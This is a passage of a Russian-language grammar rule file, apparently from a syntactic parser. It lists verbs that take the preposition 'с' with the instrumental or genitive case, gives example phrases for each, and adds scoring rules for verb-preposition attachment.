rus_verbs:скрещиваться{}, // скрещиваться с дикими видами
rus_verbs:повидаться{}, // повидаться с дедушкой
rus_verbs:повоевать{}, // повоевать с орками
rus_verbs:сразиться{}, // сразиться с лучшим рыцарем
rus_verbs:кипятить{}, // кипятить с отбеливателем
rus_verbs:усердствовать{}, // усердствовать с наказанием
rus_verbs:схлестнуться{}, // схлестнуться с лучшим боксером
rus_verbs:пошептаться{}, // пошептаться с судьями
rus_verbs:сравняться{}, // сравняться с лучшими экземплярами
rus_verbs:церемониться{}, // церемониться с пьяницами
rus_verbs:консультироваться{}, // консультироваться со специалистами
rus_verbs:переусердствовать{}, // переусердствовать с наказанием
rus_verbs:проноситься{}, // проноситься с собой
rus_verbs:перемешать{}, // перемешать с гипсом
rus_verbs:темнить{}, // темнить с долгами
rus_verbs:сталкивать{}, // сталкивать с черной дырой
rus_verbs:увольнять{}, // увольнять с волчьим билетом
rus_verbs:заигрывать{}, // заигрывать с совершенно диким животным
rus_verbs:сопоставлять{}, // сопоставлять с эталонными образцами
rus_verbs:расторгнуть{}, // расторгнуть с нерасторопными поставщиками долгосрочный контракт
rus_verbs:созвониться{}, // созвониться с мамой
rus_verbs:спеться{}, // спеться с отъявленными хулиганами
rus_verbs:интриговать{}, // интриговать с придворными
rus_verbs:приобрести{}, // приобрести со скидкой
rus_verbs:задержаться{}, // задержаться со сдачей работы
rus_verbs:плавать{}, // плавать со спасательным кругом
rus_verbs:якшаться{}, // Не якшайся с врагами
инфинитив:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги
инфинитив:ассоциировать{вид:несоверш},
глагол:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги
глагол:ассоциировать{вид:несоверш},
//+прилагательное:ассоциировавший{вид:несоверш},
прилагательное:ассоциировавший{вид:соверш},
прилагательное:ассоциирующий{},
деепричастие:ассоциируя{},
деепричастие:ассоциировав{},
rus_verbs:ассоциироваться{}, // герой книги ассоциируется с реальным персонажем
rus_verbs:аттестовывать{}, // Они аттестовывают сотрудников с помощью наборра тестов
rus_verbs:аттестовываться{}, // Сотрудники аттестовываются с помощью набора тестов
//+инфинитив:аффилировать{вид:соверш}, // эти предприятия были аффилированы с олигархом
//+глагол:аффилировать{вид:соверш},
прилагательное:аффилированный{},
rus_verbs:баловаться{}, // мальчик баловался с молотком
rus_verbs:балясничать{}, // женщина балясничала с товарками
rus_verbs:богатеть{}, // Провинция богатеет от торговли с соседями
rus_verbs:бодаться{}, // теленок бодается с деревом
rus_verbs:боксировать{}, // Майкл дважды боксировал с ним
rus_verbs:брататься{}, // Солдаты братались с бойцами союзников
rus_verbs:вальсировать{}, // Мальчик вальсирует с девочкой
rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу
rus_verbs:происходить{}, // Что происходит с мировой экономикой?
rus_verbs:произойти{}, // Что произошло с экономикой?
rus_verbs:взаимодействовать{}, // Электроны взаимодействуют с фотонами
rus_verbs:вздорить{}, // Эта женщина часто вздорила с соседями
rus_verbs:сойтись{}, // Мальчик сошелся с бандой хулиганов
rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями
rus_verbs:водиться{}, // Няня водится с детьми
rus_verbs:воевать{}, // Фермеры воевали с волками
rus_verbs:возиться{}, // Няня возится с детьми
rus_verbs:ворковать{}, // Голубь воркует с голубкой
rus_verbs:воссоединиться{}, // Дети воссоединились с семьей
rus_verbs:воссоединяться{}, // Дети воссоединяются с семьей
rus_verbs:вошкаться{}, // Не вошкайся с этой ерундой
rus_verbs:враждовать{}, // враждовать с соседями
rus_verbs:временить{}, // временить с выходом на пенсию
rus_verbs:расстаться{}, // я не могу расстаться с тобой
rus_verbs:выдирать{}, // выдирать с мясом
rus_verbs:выдираться{}, // выдираться с мясом
rus_verbs:вытворить{}, // вытворить что-либо с чем-либо
rus_verbs:вытворять{}, // вытворять что-либо с чем-либо
rus_verbs:сделать{}, // сделать с чем-то
rus_verbs:домыть{}, // домыть с мылом
rus_verbs:случиться{}, // случиться с кем-то
rus_verbs:остаться{}, // остаться с кем-то
rus_verbs:случать{}, // случать с породистым кобельком
rus_verbs:послать{}, // послать с весточкой
rus_verbs:работать{}, // работать с роботами
rus_verbs:провести{}, // провести с девчонками время
rus_verbs:заговорить{}, // заговорить с незнакомкой
rus_verbs:прошептать{}, // прошептать с придыханием
rus_verbs:читать{}, // читать с выражением
rus_verbs:слушать{}, // слушать с повышенным вниманием
rus_verbs:принести{}, // принести с собой
rus_verbs:спать{}, // спать с женщинами
rus_verbs:закончить{}, // закончить с приготовлениями
rus_verbs:помочь{}, // помочь с перестановкой
rus_verbs:уехать{}, // уехать с семьей
rus_verbs:случаться{}, // случаться с кем-то
rus_verbs:кутить{}, // кутить с проститутками
rus_verbs:разговаривать{}, // разговаривать с ребенком
rus_verbs:погодить{}, // погодить с ликвидацией
rus_verbs:считаться{}, // считаться с чужим мнением
rus_verbs:носить{}, // носить с собой
rus_verbs:хорошеть{}, // хорошеть с каждым днем
rus_verbs:приводить{}, // приводить с собой
rus_verbs:прыгнуть{}, // прыгнуть с парашютом
rus_verbs:петь{}, // петь с чувством
rus_verbs:сложить{}, // сложить с результатом
rus_verbs:познакомиться{}, // познакомиться с другими студентами
rus_verbs:обращаться{}, // обращаться с животными
rus_verbs:съесть{}, // съесть с хлебом
rus_verbs:ошибаться{}, // ошибаться с дозировкой
rus_verbs:столкнуться{}, // столкнуться с медведем
rus_verbs:справиться{}, // справиться с нуждой
rus_verbs:торопиться{}, // торопиться с ответом
rus_verbs:поздравлять{}, // поздравлять с победой
rus_verbs:объясняться{}, // объясняться с начальством
rus_verbs:пошутить{}, // пошутить с подругой
rus_verbs:поздороваться{}, // поздороваться с коллегами
rus_verbs:поступать{}, // Как поступать с таким поведением?
rus_verbs:определяться{}, // определяться с кандидатами
rus_verbs:связаться{}, // связаться с поставщиком
rus_verbs:спорить{}, // спорить с собеседником
rus_verbs:разобраться{}, // разобраться с делами
rus_verbs:ловить{}, // ловить с удочкой
rus_verbs:помедлить{}, // Кандидат помедлил с ответом на заданный вопрос
rus_verbs:шутить{}, // шутить с диким зверем
rus_verbs:разорвать{}, // разорвать с поставщиком контракт
rus_verbs:увезти{}, // увезти с собой
rus_verbs:унести{}, // унести с собой
rus_verbs:сотворить{}, // сотворить с собой что-то нехорошее
rus_verbs:складываться{}, // складываться с первым импульсом
rus_verbs:соглашаться{}, // соглашаться с предложенным договором
//rus_verbs:покончить{}, // покончить с развратом
rus_verbs:прихватить{}, // прихватить с собой
rus_verbs:похоронить{}, // похоронить с почестями
rus_verbs:связывать{}, // связывать с компанией свою судьбу
rus_verbs:совпадать{}, // совпадать с предсказанием
rus_verbs:танцевать{}, // танцевать с девушками
rus_verbs:поделиться{}, // поделиться с выжившими
rus_verbs:оставаться{}, // я не хотел оставаться с ним в одной комнате.
rus_verbs:беседовать{}, // преподаватель, беседующий со студентами
rus_verbs:бороться{}, // человек, борющийся со смертельной болезнью
rus_verbs:шептаться{}, // девочка, шепчущаяся с подругой
rus_verbs:сплетничать{}, // женщина, сплетничавшая с товарками
rus_verbs:поговорить{}, // поговорить с виновниками
rus_verbs:сказать{}, // сказать с трудом
rus_verbs:произнести{}, // произнести с трудом
rus_verbs:говорить{}, // говорить с акцентом
rus_verbs:произносить{}, // произносить с трудом
rus_verbs:встречаться{}, // кто с Антонио встречался?
rus_verbs:посидеть{}, // посидеть с друзьями
rus_verbs:расквитаться{}, // расквитаться с обидчиком
rus_verbs:поквитаться{}, // поквитаться с обидчиком
rus_verbs:ругаться{}, // ругаться с женой
rus_verbs:поскандалить{}, // поскандалить с женой
rus_verbs:потанцевать{}, // потанцевать с подругой
rus_verbs:скандалить{}, // скандалить с соседями
rus_verbs:разругаться{}, // разругаться с другом
rus_verbs:болтать{}, // болтать с подругами
rus_verbs:потрепаться{}, // потрепаться с соседкой
rus_verbs:войти{}, // войти с регистрацией
rus_verbs:входить{}, // входить с регистрацией
rus_verbs:возвращаться{}, // возвращаться с триумфом
rus_verbs:опоздать{}, // Он опоздал с подачей сочинения.
rus_verbs:молчать{}, // Он молчал с ледяным спокойствием.
rus_verbs:сражаться{}, // Он героически сражался с врагами.
rus_verbs:выходить{}, // Он всегда выходит с зонтиком.
rus_verbs:сличать{}, // сличать перевод с оригиналом
rus_verbs:начать{}, // я начал с товарищем спор о религии
rus_verbs:согласовать{}, // Маша согласовала с Петей дальнейшие поездки
rus_verbs:приходить{}, // Приходите с нею.
rus_verbs:жить{}, // кто с тобой жил?
rus_verbs:расходиться{}, // Маша расходится с Петей
rus_verbs:сцеплять{}, // сцеплять карабин с обвязкой
rus_verbs:торговать{}, // мы торгуем с ними нефтью
rus_verbs:уединяться{}, // уединяться с подругой в доме
rus_verbs:уладить{}, // уладить конфликт с соседями
rus_verbs:идти{}, // Я шел туда с тяжёлым сердцем.
rus_verbs:разделять{}, // Я разделяю с вами горе и радость.
rus_verbs:обратиться{}, // Я обратился к нему с просьбой о помощи.
rus_verbs:захватить{}, // Я не захватил с собой денег.
прилагательное:знакомый{}, // Я знаком с ними обоими.
rus_verbs:вести{}, // Я веду с ней переписку.
прилагательное:сопряженный{}, // Это сопряжено с большими трудностями.
прилагательное:связанный{причастие}, // Это дело связано с риском.
rus_verbs:поехать{}, // Хотите поехать со мной в театр?
rus_verbs:проснуться{}, // Утром я проснулся с ясной головой.
rus_verbs:лететь{}, // Самолёт летел со скоростью звука.
rus_verbs:играть{}, // С огнём играть опасно!
rus_verbs:поделать{}, // С ним ничего не поделаешь.
rus_verbs:стрястись{}, // С ней стряслось несчастье.
rus_verbs:смотреться{}, // Пьеса смотрится с удовольствием.
rus_verbs:смотреть{}, // Она смотрела на меня с явным неудовольствием.
rus_verbs:разойтись{}, // Она разошлась с мужем.
rus_verbs:пристать{}, // Она пристала ко мне с расспросами.
rus_verbs:посмотреть{}, // Она посмотрела на меня с удивлением.
rus_verbs:поступить{}, // Она плохо поступила с ним.
rus_verbs:выйти{}, // Она вышла с усталым и недовольным видом.
rus_verbs:взять{}, // Возьмите с собой только самое необходимое.
rus_verbs:наплакаться{}, // Наплачется она с ним.
rus_verbs:лежать{}, // Он лежит с воспалением лёгких.
rus_verbs:дышать{}, // дышащий с трудом
rus_verbs:брать{}, // брать с собой
rus_verbs:мчаться{}, // Автомобиль мчится с необычайной быстротой.
rus_verbs:упасть{}, // Ваза упала со звоном.
rus_verbs:вернуться{}, // мы вернулись вчера домой с полным лукошком
rus_verbs:сидеть{}, // Она сидит дома с ребенком
rus_verbs:встретиться{}, // встречаться с кем-либо
ГЛ_ИНФ(придти), прилагательное:пришедший{}, // пришедший с другом
ГЛ_ИНФ(постирать), прилагательное:постиранный{}, деепричастие:постирав{},
rus_verbs:мыть{}
}
fact гл_предл
{
if context { Гл_С_Твор предлог:с{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_С_Твор предлог:с{} *:*{падеж:твор} }
then return true
}
#endregion ТВОРИТЕЛЬНЫЙ
#region РОДИТЕЛЬНЫЙ
wordentry_set Гл_С_Род=
{
rus_verbs:УХОДИТЬ{}, // Но с базы не уходить.
rus_verbs:РВАНУТЬ{}, // Водитель прорычал проклятие и рванул машину с места. (РВАНУТЬ)
rus_verbs:ОХВАТИТЬ{}, // огонь охватил его со всех сторон (ОХВАТИТЬ)
rus_verbs:ЗАМЕТИТЬ{}, // Он понимал, что свет из тайника невозможно заметить с палубы (ЗАМЕТИТЬ/РАЗГЛЯДЕТЬ)
rus_verbs:РАЗГЛЯДЕТЬ{}, //
rus_verbs:СПЛАНИРОВАТЬ{}, // Птицы размером с орлицу, вероятно, не могли бы подняться в воздух, не спланировав с высокого утеса. (СПЛАНИРОВАТЬ)
rus_verbs:УМЕРЕТЬ{}, // Он умрет с голоду. (УМЕРЕТЬ)
rus_verbs:ВСПУГНУТЬ{}, // Оба упали с лязгом, вспугнувшим птиц с ближайших деревьев (ВСПУГНУТЬ)
rus_verbs:РЕВЕТЬ{}, // Время от времени какой-то ящер ревел с берега или самой реки. (РЕВЕТЬ/ЗАРЕВЕТЬ/ПРОРЕВЕТЬ/ЗАОРАТЬ/ПРООРАТЬ/ОРАТЬ/ПРОКРИЧАТЬ/ЗАКРИЧАТЬ/ВОПИТЬ/ЗАВОПИТЬ)
rus_verbs:ЗАРЕВЕТЬ{}, //
rus_verbs:ПРОРЕВЕТЬ{}, //
rus_verbs:ЗАОРАТЬ{}, //
rus_verbs:ПРООРАТЬ{}, //
rus_verbs:ОРАТЬ{}, //
rus_verbs:ЗАКРИЧАТЬ{},
rus_verbs:ВОПИТЬ{}, //
rus_verbs:ЗАВОПИТЬ{}, //
rus_verbs:СТАЩИТЬ{}, // Я видела как они стащили его с валуна и увели с собой. (СТАЩИТЬ/СТАСКИВАТЬ)
rus_verbs:СТАСКИВАТЬ{}, //
rus_verbs:ПРОВЫТЬ{}, // Призрак трубного зова провыл с другой стороны дверей. (ПРОВЫТЬ, ЗАВЫТЬ, ВЫТЬ)
rus_verbs:ЗАВЫТЬ{}, //
rus_verbs:ВЫТЬ{}, //
rus_verbs:СВЕТИТЬ{}, // Полуденное майское солнце ярко светило с голубых небес Аризоны. (СВЕТИТЬ)
rus_verbs:ОТСВЕЧИВАТЬ{}, // Солнце отсвечивало с белых лошадей, белых щитов и белых перьев и искрилось на наконечниках пик. (ОТСВЕЧИВАТЬ С, ИСКРИТЬСЯ НА)
rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое
rus_verbs:собирать{}, // мальчики начали собирать со столов посуду
rus_verbs:разглядывать{}, // ты ее со всех сторон разглядывал
rus_verbs:СЖИМАТЬ{}, // меня плотно сжимали со всех сторон (СЖИМАТЬ)
rus_verbs:СОБРАТЬСЯ{}, // со всего света собрались! (СОБРАТЬСЯ)
rus_verbs:ИЗГОНЯТЬ{}, // Вино в пакетах изгоняют с рынка (ИЗГОНЯТЬ)
rus_verbs:ВЛЮБИТЬСЯ{}, // влюбился в нее с первого взгляда (ВЛЮБИТЬСЯ)
rus_verbs:РАЗДАВАТЬСЯ{}, // теперь крик раздавался со всех сторон (РАЗДАВАТЬСЯ)
rus_verbs:ПОСМОТРЕТЬ{}, // Посмотрите на это с моей точки зрения (ПОСМОТРЕТЬ С род)
rus_verbs:СХОДИТЬ{}, // принимать участие во всех этих событиях - значит продолжать сходить с ума (СХОДИТЬ С род)
rus_verbs:РУХНУТЬ{}, // В Башкирии микроавтобус рухнул с моста (РУХНУТЬ С)
rus_verbs:УВОЛИТЬ{}, // рекомендовать уволить их с работы (УВОЛИТЬ С)
rus_verbs:КУПИТЬ{}, // еда , купленная с рук (КУПИТЬ С род)
rus_verbs:УБРАТЬ{}, // помочь убрать со стола? (УБРАТЬ С)
rus_verbs:ТЯНУТЬ{}, // с моря тянуло ветром (ТЯНУТЬ С)
rus_verbs:ПРИХОДИТЬ{}, // приходит с работы муж (ПРИХОДИТЬ С)
rus_verbs:ПРОПАСТЬ{}, // изображение пропало с экрана (ПРОПАСТЬ С)
rus_verbs:ПОТЯНУТЬ{}, // с балкона потянуло холодом (ПОТЯНУТЬ С род)
rus_verbs:РАЗДАТЬСЯ{}, // с палубы раздался свист (РАЗДАТЬСЯ С род)
rus_verbs:ЗАЙТИ{}, // зашел с другой стороны (ЗАЙТИ С род)
rus_verbs:НАЧАТЬ{}, // давай начнем с этого (НАЧАТЬ С род)
rus_verbs:УВЕСТИ{}, // дала увести с развалин (УВЕСТИ С род)
rus_verbs:ОПУСКАТЬСЯ{}, // с гор опускалась ночь (ОПУСКАТЬСЯ С)
rus_verbs:ВСКОЧИТЬ{}, // Тристан вскочил с места (ВСКОЧИТЬ С род)
rus_verbs:БРАТЬ{}, // беру с него пример (БРАТЬ С род)
rus_verbs:ПРИПОДНЯТЬСЯ{}, // голова приподнялась с плеча (ПРИПОДНЯТЬСЯ С род)
rus_verbs:ПОЯВИТЬСЯ{}, // всадники появились с востока (ПОЯВИТЬСЯ С род)
rus_verbs:НАЛЕТЕТЬ{}, // с моря налетел ветер (НАЛЕТЕТЬ С род)
rus_verbs:ВЗВИТЬСЯ{}, // Натан взвился с места (ВЗВИТЬСЯ С род)
rus_verbs:ПОДОБРАТЬ{}, // подобрал с земли копье (ПОДОБРАТЬ С)
rus_verbs:ДЕРНУТЬСЯ{}, // Кирилл дернулся с места (ДЕРНУТЬСЯ С род)
rus_verbs:ВОЗВРАЩАТЬСЯ{}, // они возвращались с реки (ВОЗВРАЩАТЬСЯ С род)
rus_verbs:ПЛЫТЬ{}, // плыли они с запада (ПЛЫТЬ С род)
rus_verbs:ЗНАТЬ{}, // одно знали с древности (ЗНАТЬ С)
rus_verbs:НАКЛОНИТЬСЯ{}, // всадник наклонился с лошади (НАКЛОНИТЬСЯ С)
rus_verbs:НАЧАТЬСЯ{}, // началось все со скуки (НАЧАТЬСЯ С)
прилагательное:ИЗВЕСТНЫЙ{}, // Культура его известна со времен глубокой древности (ИЗВЕСТНЫЙ С)
rus_verbs:СБИТЬ{}, // Порыв ветра сбил Ваньку с ног (ts СБИТЬ С)
rus_verbs:СОБИРАТЬСЯ{}, // они собираются сюда со всей равнины. (СОБИРАТЬСЯ С род)
rus_verbs:смыть{}, // Дождь должен смыть с листьев всю пыль. (СМЫТЬ С)
rus_verbs:привстать{}, // Мартин привстал со своего стула. (привстать с)
rus_verbs:спасть{}, // тяжесть спала с души. (спасть с)
rus_verbs:выглядеть{}, // так оно со стороны выглядело. (ВЫГЛЯДЕТЬ С)
rus_verbs:повернуть{}, // к вечеру они повернули с нее направо. (ПОВЕРНУТЬ С)
rus_verbs:ТЯНУТЬСЯ{}, // со стороны реки ко мне тянулись языки тумана. (ТЯНУТЬСЯ С)
rus_verbs:ВОЕВАТЬ{}, // Генерал воевал с юных лет. (ВОЕВАТЬ С чего-то)
rus_verbs:БОЛЕТЬ{}, // Голова болит с похмелья. (БОЛЕТЬ С)
rus_verbs:приближаться{}, // со стороны острова приближалась лодка.
rus_verbs:ПОТЯНУТЬСЯ{}, // со всех сторон к нему потянулись руки. (ПОТЯНУТЬСЯ С)
rus_verbs:пойти{}, // низкий гул пошел со стороны долины. (пошел с)
rus_verbs:зашевелиться{}, // со всех сторон зашевелились кусты. (зашевелиться с)
rus_verbs:МЧАТЬСЯ{}, // со стороны леса мчались всадники. (МЧАТЬСЯ С)
rus_verbs:БЕЖАТЬ{}, // люди бежали со всех ног. (БЕЖАТЬ С)
rus_verbs:СЛЫШАТЬСЯ{}, // шум слышался со стороны моря. (СЛЫШАТЬСЯ С)
rus_verbs:ЛЕТЕТЬ{}, // со стороны деревни летела птица. (ЛЕТЕТЬ С)
rus_verbs:ПЕРЕТЬ{}, // враги прут со всех сторон. (ПЕРЕТЬ С)
rus_verbs:ПОСЫПАТЬСЯ{}, // вопросы посыпались со всех сторон. (ПОСЫПАТЬСЯ С)
rus_verbs:ИДТИ{}, // угроза шла со стороны моря. (ИДТИ С + род.п.)
rus_verbs:ПОСЛЫШАТЬСЯ{}, // со стен послышались крики ужаса. (ПОСЛЫШАТЬСЯ С)
rus_verbs:ОБРУШИТЬСЯ{}, // звуки обрушились со всех сторон. (ОБРУШИТЬСЯ С)
rus_verbs:УДАРИТЬ{}, // голоса ударили со всех сторон. (УДАРИТЬ С)
rus_verbs:ПОКАЗАТЬСЯ{}, // со стороны деревни показались земляне. (ПОКАЗАТЬСЯ С)
rus_verbs:прыгать{}, // придется прыгать со второго этажа. (прыгать с)
rus_verbs:СТОЯТЬ{}, // со всех сторон стоял лес. (СТОЯТЬ С)
rus_verbs:доноситься{}, // шум со двора доносился чудовищный. (доноситься с)
rus_verbs:мешать{}, // мешать воду с мукой (мешать с)
rus_verbs:вестись{}, // Переговоры ведутся с позиции силы. (вестись с)
rus_verbs:вставать{}, // Он не встает с кровати. (вставать с)
rus_verbs:окружать{}, // зеленые щупальца окружали ее со всех сторон. (окружать с)
rus_verbs:причитаться{}, // С вас причитается 50 рублей.
rus_verbs:соскользнуть{}, // его острый клюв соскользнул с ее руки.
rus_verbs:сократить{}, // Его сократили со службы.
rus_verbs:поднять{}, // рука подняла с пола
rus_verbs:поднимать{},
rus_verbs:тащить{}, // тем временем другие пришельцы тащили со всех сторон камни.
rus_verbs:полететь{}, // Мальчик полетел с лестницы.
rus_verbs:литься{}, // вода льется с неба
rus_verbs:натечь{}, // натечь с сапог
rus_verbs:спрыгивать{}, // спрыгивать с движущегося трамвая
rus_verbs:съезжать{}, // съезжать с заявленной темы
rus_verbs:покатываться{}, // покатываться со смеху
rus_verbs:перескакивать{}, // перескакивать с одного примера на другой
rus_verbs:сдирать{}, // сдирать с тела кожу
rus_verbs:соскальзывать{}, // соскальзывать с крючка
rus_verbs:сметать{}, // сметать с прилавков
rus_verbs:кувыркнуться{}, // кувыркнуться со ступеньки
rus_verbs:прокаркать{}, // прокаркать с ветки
rus_verbs:стряхивать{}, // стряхивать с одежды
rus_verbs:сваливаться{}, // сваливаться с лестницы
rus_verbs:слизнуть{}, // слизнуть с лица
rus_verbs:доставляться{}, // доставляться с фермы
rus_verbs:обступать{}, // обступать с двух сторон
rus_verbs:повскакивать{}, // повскакивать с мест
rus_verbs:обозревать{}, // обозревать с вершины
rus_verbs:слинять{}, // слинять с урока
rus_verbs:смывать{}, // смывать с лица
rus_verbs:спихнуть{}, // спихнуть со стола
rus_verbs:обозреть{}, // обозреть с вершины
rus_verbs:накупить{}, // накупить с рук
rus_verbs:схлынуть{}, // схлынуть с берега
rus_verbs:спикировать{}, // спикировать с километровой высоты
rus_verbs:уползти{}, // уползти с поля боя
rus_verbs:сбиваться{}, // сбиваться с пути
rus_verbs:отлучиться{}, // отлучиться с поста
rus_verbs:сигануть{}, // сигануть с крыши
rus_verbs:сместить{}, // сместить с поста
rus_verbs:списать{}, // списать с оригинального устройства
инфинитив:слетать{ вид:несоверш }, глагол:слетать{ вид:несоверш }, // слетать с трассы
деепричастие:слетая{},
rus_verbs:напиваться{}, // напиваться с горя
rus_verbs:свесить{}, // свесить с крыши
rus_verbs:заполучить{}, // заполучить со склада
rus_verbs:спадать{}, // спадать с глаз
rus_verbs:стартовать{}, // стартовать с мыса
rus_verbs:спереть{}, // спереть со склада
rus_verbs:согнать{}, // согнать с живота
rus_verbs:скатываться{}, // скатываться со стога
rus_verbs:сняться{}, // сняться с выборов
rus_verbs:слезать{}, // слезать со стола
rus_verbs:деваться{}, // деваться с подводной лодки
rus_verbs:огласить{}, // огласить с трибуны
rus_verbs:красть{}, // красть со склада
rus_verbs:расширить{}, // расширить с торца
rus_verbs:угадывать{}, // угадывать с полуслова
rus_verbs:оскорбить{}, // оскорбить со сцены
rus_verbs:срывать{}, // срывать с головы
rus_verbs:сшибить{}, // сшибить с коня
rus_verbs:сбивать{}, // сбивать с одежды
rus_verbs:содрать{}, // содрать с посетителей
rus_verbs:столкнуть{}, // столкнуть с горы
rus_verbs:отряхнуть{}, // отряхнуть с одежды
rus_verbs:сбрасывать{}, // сбрасывать с борта
rus_verbs:расстреливать{}, // расстреливать с борта вертолета
rus_verbs:придти{}, // мать скоро придет с работы
rus_verbs:съехать{}, // Миша съехал с горки
rus_verbs:свисать{}, // свисать с веток
rus_verbs:стянуть{}, // стянуть с кровати
rus_verbs:скинуть{}, // скинуть снег с плеча
rus_verbs:загреметь{}, // загреметь со стула
rus_verbs:сыпаться{}, // сыпаться с неба
rus_verbs:стряхнуть{}, // стряхнуть с головы
rus_verbs:сползти{}, // сползти со стула
rus_verbs:стереть{}, // стереть с экрана
rus_verbs:прогнать{}, // прогнать с фермы
rus_verbs:смахнуть{}, // смахнуть со стола
rus_verbs:спускать{}, // спускать с поводка
rus_verbs:деться{}, // деться с подводной лодки
rus_verbs:сдернуть{}, // сдернуть с себя
rus_verbs:сдвинуться{}, // сдвинуться с места
rus_verbs:слететь{}, // слететь с катушек
rus_verbs:обступить{}, // обступить со всех сторон
rus_verbs:снести{}, // снести с плеч
инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш }, // сбегать с уроков
деепричастие:сбегая{}, прилагательное:сбегающий{},
// прилагательное:сбегавший{ вид:несоверш },
rus_verbs:запить{}, // запить с горя
rus_verbs:рубануть{}, // рубануть с плеча
rus_verbs:чертыхнуться{}, // чертыхнуться с досады
rus_verbs:срываться{}, // срываться с цепи
rus_verbs:смыться{}, // смыться с уроков
rus_verbs:похитить{}, // похитить со склада
rus_verbs:смести{}, // смести со своего пути
rus_verbs:отгружать{}, // отгружать со склада
rus_verbs:отгрузить{}, // отгрузить со склада
rus_verbs:бросаться{}, // Дети бросались в воду с моста
rus_verbs:броситься{}, // самоубийца бросился с моста в воду
rus_verbs:взимать{}, // Билетер взимает плату с каждого посетителя
rus_verbs:взиматься{}, // Плата взимается с любого посетителя
rus_verbs:взыскать{}, // Приставы взыскали долг с бедолаги
rus_verbs:взыскивать{}, // Приставы взыскивают с бедолаги все долги
rus_verbs:взыскиваться{}, // Долги взыскиваются с алиментщиков
rus_verbs:вспархивать{}, // вспархивать с цветка
rus_verbs:вспорхнуть{}, // вспорхнуть с ветки
rus_verbs:выбросить{}, // выбросить что-то с балкона
rus_verbs:выводить{}, // выводить с одежды пятна
rus_verbs:снять{}, // снять с головы
rus_verbs:начинать{}, // начинать с эскиза
rus_verbs:двинуться{}, // двинуться с места
rus_verbs:начинаться{}, // начинаться с гардероба
rus_verbs:стечь{}, // стечь с крыши
rus_verbs:слезть{}, // слезть с кучи
rus_verbs:спуститься{}, // спуститься с крыши
rus_verbs:сойти{}, // сойти с пьедестала
rus_verbs:свернуть{}, // свернуть с пути
rus_verbs:сорвать{}, // сорвать с цепи
rus_verbs:сорваться{}, // сорваться с поводка
rus_verbs:тронуться{}, // тронуться с места
rus_verbs:угадать{}, // угадать с первой попытки
rus_verbs:спустить{}, // спустить с лестницы
rus_verbs:соскочить{}, // соскочить с крючка
rus_verbs:сдвинуть{}, // сдвинуть с места
rus_verbs:подниматься{}, // туман, поднимающийся с болота
rus_verbs:подняться{}, // туман, поднявшийся с болота
rus_verbs:валить{}, // Резкий порывистый ветер валит прохожих с ног.
rus_verbs:свалить{}, // Резкий порывистый ветер свалит тебя с ног.
rus_verbs:донестись{}, // С улицы донесся шум дождя.
rus_verbs:опасть{}, // Опавшие с дерева листья.
rus_verbs:махнуть{}, // Он махнул с берега в воду.
rus_verbs:исчезнуть{}, // исчезнуть с экрана
rus_verbs:свалиться{}, // свалиться со сцены
rus_verbs:упасть{}, // упасть с дерева
rus_verbs:вернуться{}, // Он ещё не вернулся с работы.
rus_verbs:сдувать{}, // сдувать пух с одуванчиков
rus_verbs:свергать{}, // свергать царя с трона
rus_verbs:сбиться{}, // сбиться с пути
rus_verbs:стирать{}, // стирать тряпкой надпись с доски
rus_verbs:убирать{}, // убирать мусор c пола
rus_verbs:удалять{}, // удалять игрока с поля
rus_verbs:окружить{}, // Япония окружена со всех сторон морями.
rus_verbs:снимать{}, // Я снимаю с себя всякую ответственность за его поведение.
глагол:писаться{ aux stress="пис^аться" }, // Собственные имена пишутся с большой буквы.
прилагательное:спокойный{}, // С этой стороны я спокоен.
rus_verbs:спросить{}, // С тебя за всё спросят.
rus_verbs:течь{}, // С него течёт пот.
rus_verbs:дуть{}, // С моря дует ветер.
rus_verbs:капать{}, // С его лица капали крупные капли пота.
rus_verbs:опустить{}, // Она опустила ребёнка с рук на пол.
rus_verbs:спрыгнуть{}, // Она легко спрыгнула с коня.
rus_verbs:встать{}, // Все встали со стульев.
rus_verbs:сбросить{}, // Войдя в комнату, он сбросил с себя пальто.
rus_verbs:взять{}, // Возьми книгу с полки.
rus_verbs:спускаться{}, // Мы спускались с горы.
rus_verbs:уйти{}, // Он нашёл себе заместителя и ушёл со службы.
rus_verbs:порхать{}, // Бабочка порхает с цветка на цветок.
rus_verbs:отправляться{}, // Ваш поезд отправляется со второй платформы.
rus_verbs:двигаться{}, // Он не двигался с места.
rus_verbs:отходить{}, // мой поезд отходит с первого пути
rus_verbs:попасть{}, // Майкл попал в кольцо с десятиметровой дистанции
rus_verbs:падать{}, // снег падает с ветвей
rus_verbs:скрыться{} // Ее водитель, бросив машину, скрылся с места происшествия.
}
fact гл_предл
{
if context { Гл_С_Род предлог:с{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_С_Род предлог:с{} *:*{падеж:род} }
then return true
}
fact гл_предл
{
if context { Гл_С_Род предлог:с{} *:*{падеж:парт} }
then return true
}
#endregion РОДИТЕЛЬНЫЙ
fact гл_предл
{
if context { * предлог:с{} *:*{ падеж:твор } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:с{} *:*{ падеж:род } }
then return false,-4
}
fact гл_предл
{
if context { * предлог:с{} * }
then return false,-5
}
#endregion Предлог_С
/*
#region Предлог_ПОД
// -------------- ПРЕДЛОГ 'ПОД' -----------------------
fact гл_предл
{
if context { * предлог:под{} @regex("[a-z]+[0-9]*") }
then return true
}
// ПОД+вин.п. не может присоединяться к существительным, поэтому
// он присоединяется к любым глаголам.
fact гл_предл
{
if context { * предлог:под{} *:*{ падеж:вин } }
then return true
}
wordentry_set Гл_ПОД_твор=
{
rus_verbs:извиваться{}, // извивалась под его длинными усами
rus_verbs:РАСПРОСТРАНЯТЬСЯ{}, // Под густым ковром травы и плотным сплетением корней (РАСПРОСТРАНЯТЬСЯ)
rus_verbs:БРОСИТЬ{}, // чтобы ты его под деревом бросил? (БРОСИТЬ)
rus_verbs:БИТЬСЯ{}, // под моей щекой сильно билось его сердце (БИТЬСЯ)
rus_verbs:ОПУСТИТЬСЯ{}, // глаза его опустились под ее желтым взглядом (ОПУСТИТЬСЯ)
